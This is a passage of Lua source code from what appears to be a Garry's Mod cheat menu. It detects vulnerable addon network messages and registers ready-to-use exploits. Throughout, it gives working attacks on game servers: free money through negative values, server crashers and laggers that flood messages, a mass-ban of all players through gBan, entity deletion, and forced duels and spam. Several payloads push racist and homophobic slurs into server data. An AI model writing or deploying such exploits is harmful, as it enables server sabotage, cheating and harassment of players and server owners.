3969 surface.PlaySound("garrysmod/ui_click.wav")
3970 ECNotify("Starting")
3971 local PM = 1
3972 local SK = 1
3973 local BG = 1
3974 local HN = 1
3975 local TS = 1
3976 local GL = 1
3977 local LG = 1
3978
3979 if not timer.Exists("bodygroups") then
3980 timer.Create("bodygroups", 0, 0, function()
3981 PlayerModels = {0, 1, 2, 3, 4, 5, 6}
3982 Torso = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10}
3983 Legs = {0, 1, 2, 3, 4, 5, 6}
3984 Hands = {0, 1, 2}
3985 Glasses = {0, 1}
3986 Skins = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10}
3987 PM = PM + 1
3988 TS = TS + 1
3989 LG = LG + 1
3990 HN = HN + 1
3991 GL = GL + 1
3992 SK = SK + 1
3993
3994 if (PM > #PlayerModels) then
3995 PM = 1
3996 end
3997
3998 if (SK > #Skins) then
3999 SK = 1
4000 end
4001
4002 if (HN > #Hands) then
4003 HN = 1
4004 end
4005
4006 if (TS > #Torso) then
4007 TS = 1
4008 end
4009
4010 if (GL > #Glasses) then
4011 GL = 1
4012 end
4013
4014 if (LG > #Legs) then
4015 LG = 1
4016 end
4017
4018 net.Start("bodyman_model_change")
4019 net.WriteInt(PlayerModels[PM], 10)
4020 net.SendToServer()
4021 net.Start("bodygroups_change")
4022 net.WriteTable({1, Torso[TS]})
4023 net.SendToServer()
4024 net.Start("bodygroups_change")
4025 net.WriteTable({2, Legs[LG]})
4026 net.SendToServer()
4027 net.Start("bodygroups_change")
4028 net.WriteTable({3, Hands[HN]})
4029 net.SendToServer()
4030 net.Start("bodygroups_change")
4031 net.WriteTable({4, Glasses[GL]})
4032 net.SendToServer()
4033 end)
4034 else
4035 timer.Remove("bodygroups")
4036 ECNotify("Stopping")
4037 end
4038 end)
4039 end
4040
4041 status = ValidNetString("SendMoney")
4042
4043 if (status) then
4044 ECPrint("Found Exploit: Free Money #16 [SendMoney]")
4045
4046 addExploit("136", "Free Money #16", "get money", function()
4047 surface.PlaySound("garrysmod/ui_click.wav")
4048 ECNotify("Starting")
4049 hook.Remove("HUDPaint", "skhdsakjl")
4050 net.Start("SendMoney")
4051 net.WriteEntity(LocalPlayer())
4052 net.WriteEntity(LocalPlayer())
4053 net.WriteEntity(LocalPlayer())
4054 net.WriteString("-99999999")
4055 net.SendToServer()
4056 end)
4057 end
4058
4059 status = ValidNetString("BailOut")
4060
4061 if (status) then
4062 ECPrint("Found Exploit: Free Money #17 [BailOut]")
4063
4064 addExploit("137", "Free Money #17", "", function()
4065 surface.PlaySound("garrysmod/ui_click.wav")
4066 ECNotify("Starting")
4067
4068 for k, v in pairs(player.GetAll()) do
4069 net.Start("BailOut")
4070 net.WriteEntity(LocalPlayer())
4071 net.WriteEntity(v)
4072 net.WriteFloat(-999999999)
4073 net.SendToServer()
4074 end
4075 end)
4076 end
4077
4078 status = ValidNetString("hitcomplete")
4079
4080 if (status) then
4081 ECPrint("Found Exploit: Free Money #18 [hitcomplete]")
4082
4083 addExploit("138", "Free Money #18", "get money", function()
4084 surface.PlaySound("garrysmod/ui_click.wav")
4085 ECNotify("Starting")
4086 net.Start("hitcomplete")
4087 net.WriteDouble(99999999)
4088 net.SendToServer()
4089 end)
4090 end
4091
4092 ----------------------------------------
4093 for k, v in pairs(player.GetAll()) do
4094 dahater = v
4095 end
4096
4097 ----------------------------------------
4098 status = ValidNetString("hhh_request")
4099
4100 if (status) then
4101 ECPrint("Found Exploit: Free Money #19 [hhh_request]")
4102
4103 addExploit("139", "Free Money #19", "get money", function()
4104 surface.PlaySound("garrysmod/ui_click.wav")
4105 ECNotify("Starting")
4106 local plyhhh = LocalPlayer()
4107
4108 if dahater ~= plyhhh then
4109 local hitRequest = {}
4110 hitRequest.hitman = plyhhh
4111 hitRequest.requester = plyhhh
4112 hitRequest.target = dahater
4113 hitRequest.reward = -9999999
4114 net.Start('hhh_request')
4115 net.WriteTable(hitRequest)
4116 net.SendToServer()
4117 else
4118 ECPrint("In this version of HHH, you can not use an exploit!")
4119 end
4120 end)
4121 end
4122
4123 status = ValidNetString("DaHit")
4124
4125 if (status) then
4126 ECPrint("Found Exploit: Free Money #20 [DaHit]")
4127
4128 addExploit("140", "Free Money #20", "get money", function()
4129 surface.PlaySound("garrysmod/ui_click.wav")
4130 ECNotify("Starting")
4131 hook.Remove("HUDPaint", "skhdsakjl")
4132 net.Start("DaHit")
4133 net.WriteFloat(-99999999)
4134 net.WriteEntity(LocalPlayer())
4135 net.WriteEntity(LocalPlayer())
4136 net.WriteEntity(LocalPlayer())
4137 net.SendToServer()
4138 end)
4139 end
4140
4141 status = ValidNetString("textstickers_entdata")
4142
4143 if (status) then
4144 ECPrint("Found Exploit: Crash #2 [textstickers_entdata]")
4145
4146 addExploit("141", "Crash #2", "1tap", function()
4147 surface.PlaySound("garrysmod/ui_click.wav")
4148 ECNotify("Starting")
4149 net.Start("textstickers_entdata")
4150 net.WriteUInt(0xFFFFFFF, 32)
4151 net.SendToServer()
4152 end)
4153 end
4154
4155 status = ValidNetString("gBan.BanBuffer")
4156
4157 if (status) then
4158 ECPrint("Found Exploit: gBan Everyone [gBan.BanBuffer]")
4159
4160 addExploit("142", "gBan Everyone", "exploit in the old version of gban", function()
4161 surface.PlaySound("garrysmod/ui_click.wav")
4162 ECNotify("Starting")
4163
4164 for k, v in pairs(player.GetAll()) do
4165 if v ~= LocalPlayer() then
4166 net.Start("gBan.BanBuffer")
4167 net.WriteBool(true)
4168 net.WriteInt(0, 32)
4169 net.WriteString("haha owned")
4170 net.WriteString(v:SteamID())
4171 net.SendToServer()
4172 end
4173 end
4174 end)
4175 end
4176
4177 status = ValidNetString("ARMORY_RetrieveWeapon")
4178
4179 if (status) then
4180 ECPrint("Found Exploit: Free Armory #1 [ARMORY_RetrieveWeapon]")
4181
4182 addExploit("143", "Free Armory #1", "get weapon #1", function()
4183 surface.PlaySound("garrysmod/ui_click.wav")
4184 ECNotify("Starting")
4185 net.Start("ARMORY_RetrieveWeapon")
4186 net.WriteString("weapon1")
4187 net.SendToServer()
4188 end)
4189 end
4190
4191 status = ValidNetString("ARMORY_RetrieveWeapon")
4192
4193 if (status) then
4194 ECPrint("Found Exploit: Free Armory #2 [ARMORY_RetrieveWeapon]")
4195
4196 addExploit("144", "Free Armory #2", "get weapon #2", function()
4197 surface.PlaySound("garrysmod/ui_click.wav")
4198 ECNotify("Starting")
4199 net.Start("ARMORY_RetrieveWeapon")
4200 net.WriteString("weapon2")
4201 net.SendToServer()
4202 end)
4203 end
4204
4205 status = ValidNetString("ARMORY_RetrieveWeapon")
4206
4207 if (status) then
4208 ECPrint("Found Exploit: Free Armory #3 [ARMORY_RetrieveWeapon]")
4209
4210 addExploit("145", "Free Armory #3", "get weapon #3", function()
4211 surface.PlaySound("garrysmod/ui_click.wav")
4212 ECNotify("Starting")
4213 net.Start("ARMORY_RetrieveWeapon")
4214 net.WriteString("weapon3")
4215 net.SendToServer()
4216 end)
4217 end
4218
4219 status = ValidNetString("TransferReport")
4220
4221 if (status) then
4222 ECPrint("Found Exploit: Report Spammer [TransferReport]")
4223
4224 addExploit("146", "Report Spammer", "report all players", function()
4225 surface.PlaySound("garrysmod/ui_click.wav")
4226 ECNotify("Starting")
4227 net.Start("TransferReport")
4228 net.WriteString(v:SteamID())
4229 net.WriteString("CHINKGANG FAGOTS")
4230 net.WriteString("DITCH THIS SHITTY SERVER AND BUY R8 TODAY")
4231 net.SendToServer()
4232 end)
4233 end
4234
4235 status = ValidNetString("FIRE_CreateFireTruck")
4236
4237 if (status) then
4238 ECPrint("Found Exploit: Create Fire Truck [FIRE_CreateFireTruck]")
4239
4240 addExploit("147", "Create Fire Truck", "", function()
4241 surface.PlaySound("garrysmod/ui_click.wav")
4242 ECNotify("Starting")
4243 net.Start("FIRE_CreateFireTruck")
4244 net.SendToServer()
4245 end)
4246 end
4247
4248 status = ValidNetString("TFA_Attachment_RequestAll")
4249
4250 if (status) then
4251 ECPrint("Found Exploit: Lagger #20 [TFA_Attachment_RequestAll]")
4252
4253 addExploit("148", "Lagger #20", "an exploit in 'TFA Weapon Pack', discovered by zerg314", function()
4254 surface.PlaySound("garrysmod/ui_click.wav")
4255
4256 if not timer.Exists("lagger20") then
4257 timer.Create("lagger20", 0, 0, function()
4258 for i = 1, 800 do
4259 net.Start("TFA_Attachment_RequestAll", true)
4260 net.SendToServer()
4261 end
4262 end)
4263
4264 ECNotify("Starting Lagger")
4265 else
4266 timer.Remove("lagger20")
4267 ECNotify("Stopping Lagger")
4268 end
4269 end)
4270 end
4271
4272 status = ValidNetString("FIRE_RemoveFireTruck")
4273
4274 if (status) then
4275 ECPrint("Found Exploit: Remove Fire Truck [FIRE_RemoveFireTruck]")
4276
4277 addExploit("149", "Remove Fire Truck", "", function()
4278 surface.PlaySound("garrysmod/ui_click.wav")
4279 ECNotify("Starting")
4280 net.Start("FIRE_RemoveFireTruck")
4281 net.SendToServer()
4282 end)
4283 end
4284
4285 status = ValidNetString("gPrinters.sendID")
4286
4287 if (status) then
4288 ECPrint("Found Exploit: Lagger #21 [gPrinters.sendID]")
4289
4290 addExploit("150", "Lagger #21", "B1G LAGZ, discovered by Leith", function()
4291 surface.PlaySound("garrysmod/ui_click.wav")
4292 ECNotify("Starting")
4293
4294 if not timer.Exists("lagger21") then
4295 timer.Create("lagger21", 0, 0, function()
4296 for i = 1, 1000 do
4297 net.Start("gPrinters.sendID", true)
4298 net.WriteEntity(LocalPlayer())
4299 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 8)
4300 net.SendToServer()
4301 end
4302 end)
4303 end
4304 end)
4305 end
4306
4307 status = ValidNetString("requestmoneyforvk") -- RusElite Server
4308
4309 if (status) then
4310 ECPrint("Found Exploit: Free 50k [requestmoneyforvk]")
4311
4312 addExploit("151", "Free 50k", "gives you 50k bypassing the validation check, discovered by Leith", function()
4313 surface.PlaySound("garrysmod/ui_click.wav")
4314 ECNotify("Starting")
4315 net.Start("requestmoneyforvk")
4316 net.WriteEntity(LocalPlayer())
4317 net.SendToServer()
4318 end)
4319 end
4320
4321 status = ValidNetString("vj_testentity_runtextsd")
4322
4323 if (status) then
4324 ECPrint("Found Exploit: VJSay [NEW] [vj_testentity_runtextsd]")
4325
4326 addExploit("152", "VJSay [NEW]", "'fix' of the old exploit", function()
4327 surface.PlaySound("garrysmod/ui_click.wav")
4328 ECNotify("Starting")
4329
4330 for k, v in pairs(player.GetAll()) do
4331 net.Start("vj_testentity_runtextsd")
4332 net.WriteEntity(v)
4333 net.WriteString("OWNED OWNED OWNED OWNED OWNED OWNED OWNED OWNED ")
4334 net.WriteString("vj_illuminati/Illuminati Confirmed.mp3")
4335 net.SendToServer()
4336 end
4337 end)
4338 end
4339
4340 status = ValidNetString("NET_BailPlayer") -- need to test
4341
4342 if (status) then
4343 ECPrint("Found Exploit: Players Spam [NET_BailPlayer]")
4344
4345 addExploit("153", "Players Spam", "", function()
4346 surface.PlaySound("garrysmod/ui_click.wav")
4347 ECNotify("Starting")
4348
4349 for k, v in pairs(player.GetAll()) do
4350 net.Start("NET_BailPlayer")
4351 net.WriteEntity(v)
4352 net.WriteEntity(v)
4353 net.SendToServer()
4354 end
4355 end)
4356 end
4357
4358 status = ValidNetString("Taxi_Add") -- need to test
4359
4360 if (status) then
4361 ECPrint("Found Exploit: Free Money #21 [Taxi_Add]")
4362
4363 addExploit("154", "Free Money #21", "maybe not work", function()
4364 surface.PlaySound("garrysmod/ui_click.wav")
4365 ECNotify("Starting")
4366 net.Start("Taxi_Add")
4367 net.WriteString("MLG")
4368 net.WriteTable({-1333.647461, -1473.931763, -139.968750})
4369 net.WriteFloat(-99999999)
4370 net.WriteString(Desc)
4371 net.SendToServer()
4372 end)
4373 end
4374
4375 status = ValidNetString("BuyCar")
4376
4377 if (status) then
4378 ECPrint("Found Exploit: Free Money #22 [BuyCar]")
4379
4380 addExploit("155", "Free Money #22", "get money", function()
4381 surface.PlaySound("garrysmod/ui_click.wav")
4382 ECNotify("Starting")
4383 net.Start('BuyCar')
4384 net.WriteFloat(-1000000)
4385 net.WriteEntity(LocalPlayer())
4386 net.WriteString("Gay")
4387 net.WriteString("Cock")
4388 net.WriteString("Twat")
4389 net.SendToServer()
4390 end)
4391 end
4392
4393 status = ValidNetString("rpi_trade_end")
4394
4395 if (status) then
4396 ECPrint("Found Exploit: Test Function [rpi_trade_end]")
4397
4398 addExploit("156", "Test Function", "just test", function()
4399 surface.PlaySound("garrysmod/ui_click.wav")
4400 ECNotify("Starting")
4401 local it = 0
4402
4403 timer.Create(util.CRC(tostring(CurTime())), 0.5, 0, function()
4404 if (it > #player.GetAll()) then
4405 it = 1
4406 else
4407 it = it + 1
4408 end
4409
4410 net.Start("rpi_trade_end")
4411 net.WriteUInt(it, 16)
4412 net.SendToServer()
4413 end)
4414 end)
4415 end
4416
4417 status = ValidNetString("ClickerForceSave")
4418
4419 if (status) then
4420 ECPrint("Found Exploit: Melon Crash [ClickerForceSave]")
4421
4422 addExploit("157", "Melon Crash", "", function()
4423 surface.PlaySound("garrysmod/ui_click.wav")
4424 ECNotify("Starting")
4425
4426 hook.Add("Think", "ps_spam", function()
4427 for k, v in pairs(player.GetAll()) do
4428 net.Start("ClickerForceSave")
4429 net.WriteEntity(ply)
4430 net.WriteInt(1, 1)
4431 net.SendToServer()
4432 end
4433 end)
4434 end)
4435 end
4436
4437 status = ValidNetString("SRequest")
4438
4439 if (status) then
4440 ECPrint("Found Exploit: Deagle Grab [SRequest]")
4441
4442 addExploit("158", "Deagle Grab", "", function()
4443 surface.PlaySound("garrysmod/ui_click.wav")
4444 ECNotify("Starting")
4445
4446 for k, v in pairs(player.GetAll()) do
4447 net.Start("SRequest")
4448 net.WriteEntity(v)
4449 net.SendToServer()
4450 end
4451 end)
4452 end
4453
4454 status = ValidNetString("HealButton")
4455
4456 if (status) then
4457 ECPrint("Found Exploit: Free HP [HealButton]")
4458
4459 addExploit("159", "Free HP", "free hp", function()
4460 surface.PlaySound("garrysmod/ui_click.wav")
4461 ECNotify("Starting")
4462 net.Start("HealButton")
4463 net.WriteEntity(LocalPlayer())
4464 net.WriteFloat(999999)
4465 net.SendToServer()
4466 end)
4467 end
4468
4469 status = ValidNetString("ArmorButton")
4470
4471 if (status) then
4472 ECPrint("Found Exploit: Free Armor [ArmorButton]")
4473
4474 addExploit("160", "Free Armor", "free armor", function()
4475 surface.PlaySound("garrysmod/ui_click.wav")
4476 ECNotify("Starting")
4477 net.Start("ArmorButton")
4478 net.WriteEntity(LocalPlayer())
4479 net.WriteFloat(999999)
4480 net.SendToServer()
4481 end)
4482 end
4483
4484 status = ValidNetString("SprintSpeedset")
4485
4486 if (status) then
4487 ECPrint("Found Exploit: TTT SpeedHack [SprintSpeedset]")
4488
4489 addExploit("161", "TTT SpeedHack", "changes your speed", function()
4490 surface.PlaySound("garrysmod/ui_click.wav")
4491 ECNotify("Starting")
4492 net.Start("SprintSpeedset")
4493 net.WriteFloat(math.min(math.max(2, 0.1), 2))
4494 net.SendToServer()
4495 end)
4496 end
4497
4498 status = ValidNetString("GiveArmor100")
4499
4500 if (status) then
4501 ECPrint("Found Exploit: Armor Exploit [GiveArmor100]")
4502
4503 addExploit("162", "Armor Exploit", "", function()
4504 surface.PlaySound("garrysmod/ui_click.wav")
4505 ECNotify("Starting")
4506 net.Start("GiveArmor100")
4507 net.SendToServer()
4508 end)
4509 end
4510
4511 status = ValidNetString("GiveSCP294Cup") -- NEED TO TEST !!
4512
4513 if (status) then
4514 ECPrint("Found Exploit: 294 JAM [NEED TO TEST] [GiveSCP294Cup]")
4515 SCPLAG = 0
4516
4517 addExploit("163", "SCP 249 JAM!", "", function()
4518 surface.PlaySound("garrysmod/ui_click.wav")
4519 ECNotify("Starting")
4520
4521 if (SCPLAG == 0) then
4522 SCPLAG = 1
4523
4524 timer.Create("LagThatShit", time, 0.05, function()
4525 for k, v in pairs(ents.GetAll()) do
4526 if v:GetClass() == "scp294" then
4527 net.Start("GiveSCP294Cup")
4528 net.WriteString("shit")
4529 net.WriteEntity(v)
4530 net.SendToServer()
4531 end
4532 end
4533 end)
4534 else
4535 SCPLAG = 0
4536 timer.Remove("LagThatShit")
4537 end
4538 end)
4539 end
4540
4541
4542 status = ValidNetString("Client_To_Server_OpenEditor")
4543
4544 if (status) then
4545 ECPrint("Found Exploit: SCP 249 Drink Menu Hack [Client_To_Server_OpenEditor]")
4546
4547 addExploit("164", "SCP 249 Drink Menu Hack", "", function()
4548 surface.PlaySound("garrysmod/ui_click.wav")
4549 ECNotify("Starting")
4550 net.Start("Client_To_Server_OpenEditor")
4551 net.SendToServer()
4552 end)
4553 end
4554
4555 status = ValidNetString("DuelMessageReturn")
4556
4557 if (status) then
4558 ECPrint("Found Exploit: Duel Crazy [DuelMessageReturn]")
4559
4560 addExploit("165", "Duel Crazy", "forces all players to fight with all players, discovered by Solly", function()
4561 surface.PlaySound("garrysmod/ui_click.wav")
4562 ECNotify("Starting")
4563
4564 timer.Create("crazyduel", 0.1, 0, function()
4565 s.duel[1] = table.Random(player.GetAll())
4566 s.duel[2] = table.Random(player.GetAll())
4567 net.Start("DuelMessageReturn")
4568 net.WriteFloat(1)
4569 net.WriteTable(s.duel)
4570 net.SendToServer()
4571 end)
4572 end)
4573 end
4574
4575 status = ValidNetString("userAcceptPrestige")
4576
4577 if (status) then
4578 ECPrint("Found Exploit: Free Prestige [userAcceptPrestige]")
4579
4580 addExploit("166", "Free Prestige", "exploit for free prestige", function()
4581 surface.PlaySound("garrysmod/ui_click.wav")
4582 ECNotify("Starting")
4583 net.Start("userAcceptPrestige")
4584 net.SendToServer()
4585 end)
4586 end
4587
4588 status = ValidNetString("wordenns")
4589
4590 if (status) then
4591 ECPrint("Found Exploit: Steal All Monies #11 [wordenns]")
4592
4593 addExploit("167", "Steal All Monies #11", "withdraw money from all printers", function()
4594 surface.PlaySound("garrysmod/ui_click.wav")
4595 ECNotify("Starting")
4596 ECPrint("printers:" .. tostring(#ents.FindByClass("derma_printer")))
4597
4598 for k, v in pairs(ents.FindByClass("derma_printer")) do
4599 net.Start("wordenns")
4600 net.WriteEntity(v)
4601 net.SendToServer()
4602 end
4603 end)
4604 end
4605
4606 status = ValidNetString("guncraft_removeWorkbench")
4607
4608 if (status) then
4609 ECPrint("Found Exploit: Remove all Entity [guncraft_removeWorkbench]")
4610
4611 addExploit("168", "Remove all Entity", "an exploit in addon 'GunCraft'", function()
4612 surface.PlaySound("garrysmod/ui_click.wav")
4613 ECNotify("Starting")
4614
4615 if not timer.Exists("removentity") then
4616 timer.Create("removentity", 3, 0, function()
4617 for k, v in pairs(ents.GetAll()) do
4618 net.Start("guncraft_removeWorkbench")
4619 net.WriteEntity(v)
4620 net.SendToServer()
4621 end
4622 end)
4623 end
4624 end)
4625 end
4626
4627 status = ValidNetString("BuyKey")
4628
4629 if (status) then
4630 ECPrint("Found Exploit: Blue Unbox Exploit [NEED TO TEST]")
4631
4632 addExploit("169", "Blue Unbox Exploit", "", function()
4633 surface.PlaySound("garrysmod/ui_click.wav")
4634 ECNotify("Starting")
4635 net.Start("BuyKey")
4636 net.SendToServer()
4637 net.Start("BuyCrate")
4638 net.SendToServer()
4639 end)
4640 end
4641
4642 status = ValidNetString("casinokit_chipexchange")
4643
4644 if (status) then
4645 ECPrint("Found Exploit: Free Money #23 [casinokit_chipexchange]")
4646
4647 addExploit("170", "Free Money #23", "only works if outdated", function()
4648 surface.PlaySound("garrysmod/ui_click.wav")
4649 ECNotify("Starting")
4650 local moneylog = LocalPlayer():getDarkRPVar("money")
4651 net.Start("casinokit_chipexchange")
4652 net.WriteEntity(self)
4653 net.WriteString("darkrp")
4654 net.WriteBool(true)
4655 net.WriteUInt(LocalPlayer():getDarkRPVar("money"), 32)
4656 net.SendToServer()
4657
4658 timer.Simple(3, function()
4659 for i = 1, 5000 do
4660 net.Start("casinokit_chipexchange")
4661 net.WriteEntity(self)
4662 net.WriteString("darkrp")
4663 net.WriteBool(false)
4664 net.WriteUInt(moneylog * 0.10, 32)
4665 net.SendToServer()
4666 end
4667 end)
4668 end)
4669 end
4670
4671 status = ValidNetString("PurchaseWeed")
4672
4673 if (status) then
4674 ECPrint("Found Exploit: Buy Weed [PurchaseWeed]")
4675
4676 addExploit("171", "Buy Weed", "", function()
4677 surface.PlaySound("garrysmod/ui_click.wav")
4678 ECNotify("Starting")
4679 net.Start("PurchaseWeed")
4680 net.WriteInt(tonumber(10000), 16)
4681 net.WriteInt(tonumber(1), 16)
4682 net.WriteBool(LocalPlayer().Buying)
4683 net.SendToServer()
4684 end)
4685 end
4686
4687 status = ValidNetString("PurchaseWeed")
4688
4689 if (status) then
4690 ECPrint("Found Exploit: Sell Weed [PurchaseWeed]")
4691
4692 addExploit("172", "Sell Weed", "", function()
4693 surface.PlaySound("garrysmod/ui_click.wav")
4694 ECNotify("Starting")
4695 net.Start("PurchaseWeed")
4696 net.WriteInt(tonumber(100), 16)
4697 net.WriteInt(tonumber(100), 16)
4698 net.WriteBool(LocalPlayer().Selling)
4699 net.SendToServer()
4700 end)
4701 end
4702
4703 status = ValidNetString("DoDealerDeliver")
4704
4705 if (status) then
4706 ECPrint("Found Exploit: Buy Tab [DoDealerDeliver]")
4707
4708 addExploit("173", "Buy Tab", "", function()
4709 surface.PlaySound("garrysmod/ui_click.wav")
4710 ECNotify("Starting")
4711
4712 if (LocalPlayer():getDarkRPVar("money") >= WEED_CONFIG.TabletPrice) then
4713 net.Start("DoDealerDeliver")
4714 net.WriteBool(false)
4715 net.SendToServer()
4716 end
4717 end)
4718 end
4719
4720 status = ValidNetString("DoDealerDeliver")
4721
4722 if (status) then
4723 ECPrint("Found Exploit: Buy Bong [DoDealerDeliver]")
4724
4725 addExploit("174", "Buy Bong", "", function()
4726 surface.PlaySound("garrysmod/ui_click.wav")
4727 ECNotify("Starting")
4728
4729 if (LocalPlayer():getDarkRPVar("money") >= WEED_ITEMS.Items["Tools"]["bong"].price) then
4730 net.Start("DoDealerDeliver")
4731 net.WriteBool(true)
4732 net.SendToServer()
4733 end
4734 end)
4735 end
4736
4737 status = ValidNetString("sendDuelInfo")
4738
4739 if (status) then
4740 ECPrint("Found Exploit: Duel NPC Exploit [sendDuelInfo]")
4741
4742 addExploit("175", "Duel NPC Exploit", "", function()
4743 surface.PlaySound("garrysmod/ui_click.wav")
4744 ECNotify("Starting")
4745 net.Start("sendDuelInfo")
4746 net.WriteString(table.Random(player.GetAll()):Nick())
4747 net.WriteString("xxdddd")
4748 net.WriteString("1e+100")
4749 net.WriteEntity(table.random(player.GetAll()):UserID())
4750 net.WriteInt(3, 3)
4751 net.SendToServer()
4752 end)
4753 end
4754
4755 status = ValidNetString("InviteMember")
4756
4757 if (status) then
4758 ECPrint("Found Exploit: Invite all players [InviteMember]")
4759
4760 addExploit("176", "Invite all players", "Invite all players to your org", function()
4761 surface.PlaySound("garrysmod/ui_click.wav")
4762 ECNotify("Starting")
4763
4764 for k, v in pairs(player.GetAll()) do
4765 net.Start("InviteMember")
4766 net.WriteEntity(v)
4767 net.WriteEntity(v)
4768 net.WriteString("lol what")
4769 net.SendToServer()
4770 end
4771 end)
4772 end
4773
4774 status = ValidNetString("newTerritory")
4775
4776 if (status) then
4777 ECPrint("Found Exploit: New Territory [newTerritory]")
4778
4779 addExploit("177", "New Territory", "", function()
4780 surface.PlaySound("garrysmod/ui_click.wav")
4781 ECNotify("Starting")
4782
4783 for k, v in pairs(player.GetAll()) do
4784 net.Start("newTerritory")
4785 net.WriteString("Hackers")
4786 net.WriteTable(t)
4787 net.SendToServer()
4788 end
4789 end)
4790 end
4791
4792 status = ValidNetString("CreateOrganization")
4793
4794 if (status) then
4795 ECPrint("Found Exploit: Org Exploit [CreateOrganization]")
4796
4797 addExploit("178", "Org Exploit", "", function()
4798 surface.PlaySound("garrysmod/ui_click.wav")
4799 ECNotify("Starting")
4800
4801 for k, v in pairs(player.GetAll()) do
4802 net.Start("CreateOrganization")
4803 net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
4804 net.WriteString("Join my gang or will rekt u")
4805 net.SendToServer()
4806 end
4807 end)
4808 end
4809
4810 status = ValidNetString("DisbandOrganization")
4811
4812 if (status) then
4813 ECPrint("Found Exploit: Org Disband [DisbandOrganization]")
4814
4815 addExploit("179", "Org Disband", "", function()
4816 surface.PlaySound("garrysmod/ui_click.wav")
4817 ECNotify("Starting")
4818 net.Start("DisbandOrganization")
4819 net.WriteEntity(LocalPlayer())
4820 net.SendToServer()
4821 end)
4822 end
4823
4824 status = ValidNetString("ChangeOrgName")
4825
4826 if (status) then
4827 ECPrint("Found Exploit: Org Change Name [ChangeOrgName]")
4828
4829 addExploit("180", "Org Change Name", "", function()
4830 surface.PlaySound("garrysmod/ui_click.wav")
4831 ECNotify("Starting")
4832 net.Start("ChangeOrgName")
4833 net.WriteString("I LOVE BANNAS WOOOOOOOOO I FUCKED GIANT BABIES WOOOOOO")
4834 net.WriteString("SHITTY CUNT ASS SERVER FUCK OFF. STOP WITH YOUR SHITTY COPY AND PASTE SHIT! YOU STOLE MY SHIT NIGGER!")
4835 net.WriteEntity(LocalPlayer())
4836 net.SendToServer()
4837 end)
4838 end
4839
4840 status = ValidNetString("IS_SubmitSID_C2S")
4841
4842 if (status) then
4843 ECPrint("Found Exploit: Free Reward [IS_SubmitSID_C2S | IS_GetReward_C2S]")
4844
4845 addExploit("181", "Free Reward", "", function()
4846 surface.PlaySound("garrysmod/ui_click.wav")
4847 ECNotify("Starting")
4848 net.Start("IS_SubmitSID_C2S")
4849 net.WriteString("Killa")
4850 net.SendToServer()
4851 net.Start("IS_GetReward_C2S")
4852 net.SendToServer()
4853 end)
4854 end
4855
4856 status = ValidNetString("AcceptBailOffer")
4857
4858 if (status) then
4859 ECPrint("Found Exploit: Bail Offer Exploit [AcceptBailOffer]")
4860
4861 addExploit("182", "Bail Offer Exploit", "", function()
4862 surface.PlaySound("garrysmod/ui_click.wav")
4863 ECNotify("Starting")
4864
4865 for k, v in pairs(player.GetAll()) do
4866 net.Start("AcceptBailOffer")
4867 net.WriteEntity(v)
4868 net.WriteUInt(-100000000000000000, 16)
4869 net.SendToServer()
4870 end
4871 end)
4872 end
4873
4874 status = ValidNetString("CP_Test_Results")
4875
4876 if (status) then
4877 ECPrint("Found Exploit: CP Bypass [CP_Test_Results]")
4878
4879 addExploit("183", "CP Bypass", "", function()
4880 surface.PlaySound("garrysmod/ui_click.wav")
4881 ECNotify("Starting")
4882 net.Start("CP_Test_Results")
4883 net.WriteInt(1, 8)
4884 net.SendToServer()
4885 end)
4886 end
4887
4888 status = ValidNetString("ReSpawn")
4889
4890 if (status) then
4891 ECPrint("Found Exploit: Respawn #4 [ReSpawn]")
4892
4893 addExploit("184", "Respawn #4", "just respawn", function()
4894 surface.PlaySound("garrysmod/ui_click.wav")
4895 ECNotify("Starting")
4896 net.Start("ReSpawn")
4897 net.SendToServer()
4898 end)
4899 end
4900
4901 status = ValidNetString("FIGHTCLUB_KickPlayer")
4902
4903 if (status) then
4904 ECPrint("Found Exploit: Fight Club Kick [FIGHTCLUB_KickPlayer]")
4905
4906 addExploit("185", "Fight Club Kick", "", function()
4907 surface.PlaySound("garrysmod/ui_click.wav")
4908 ECNotify("Starting")
4909
4910 for k, v in pairs(player.GetAll()) do
4911 net.Start("FIGHTCLUB_KickPlayer")
4912 net.WriteBit(v)
4913 net.WriteEntity(v)
4914 net.SendToServer()
4915 end
4916 end)
4917 end
4918
4919 status = ValidNetString("FIGHTCLUB_StartFight")
4920
4921 if (status) then
4922 ECPrint("Found Exploit: Fight Club Start Fight [FIGHTCLUB_StartFight]")
4923
4924 addExploit("186", "Fight Club Start Fight", "", function()
4925 surface.PlaySound("garrysmod/ui_click.wav")
4926 ECNotify("Starting")
4927
4928 for k, v in pairs(player.GetAll()) do
4929 net.Start("FIGHTCLUB_StartFight")
4930 net.WriteEntity(v)
4931 net.SendToServer()
4932 end
4933 end)
4934 end
4935
4936 status = ValidNetString("IveBeenRDMed")
4937
4938 if (status) then
4939 ECPrint("Found Exploit: Fake RDM [IveBeenRDMed]")
4940
4941 addExploit("187", "Fake RDM", "", function()
4942 surface.PlaySound("garrysmod/ui_click.wav")
4943 ECNotify("Starting")
4944
4945 for k, v in pairs(player.GetAll()) do
4946 net.Start("IveBeenRDMed")
4947 net.WriteEntity(v)
4948 net.SendToServer()
4949 end
4950 end)
4951 end
4952
4953 status = ValidNetString("nCTieUpStart")
4954
4955 if (status) then
4956 ECPrint("Found Exploit: Combine Control Exploit [nCTieUpStart]")
4957
4958 addExploit("188", "Combine Control Exploit", "", function()
4959 surface.PlaySound("garrysmod/ui_click.wav")
4960 ECNotify("Starting")
4961
4962 for k, v in pairs(ents.GetAll()) do
4963 net.Start("nCTieUpStart")
4964 net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
4965 net.SendToServer()
4966 end
4967 end)
4968 end
4969
4970 status = ValidNetString("DestroyTable")
4971
4972 if (status) then
4973 ECPrint("Found Exploit: Fuck All [DestroyTable]")
4974
4975 addExploit("189", "Fuck All", "discovered by Leith", function()
4976 surface.PlaySound("garrysmod/ui_click.wav")
4977 ECNotify("Starting")
4978
4979 for k, v in pairs(ents.GetAll()) do
4980 net.Start("DestroyTable")
4981 net.WriteEntity(v)
4982 net.SendToServer()
4983 end
4984 end)
4985 end
4986
4987 status = ValidNetString("start_wd_hack")
4988
4989 if (status) then
4990 ECPrint("Found Exploit: Hack Phone Exploit [start_wd_hack]")
4991
4992 addExploit("190", "Hack Phone Exploit", "", function()
4993 surface.PlaySound("garrysmod/ui_click.wav")
4994 ECNotify("Starting")
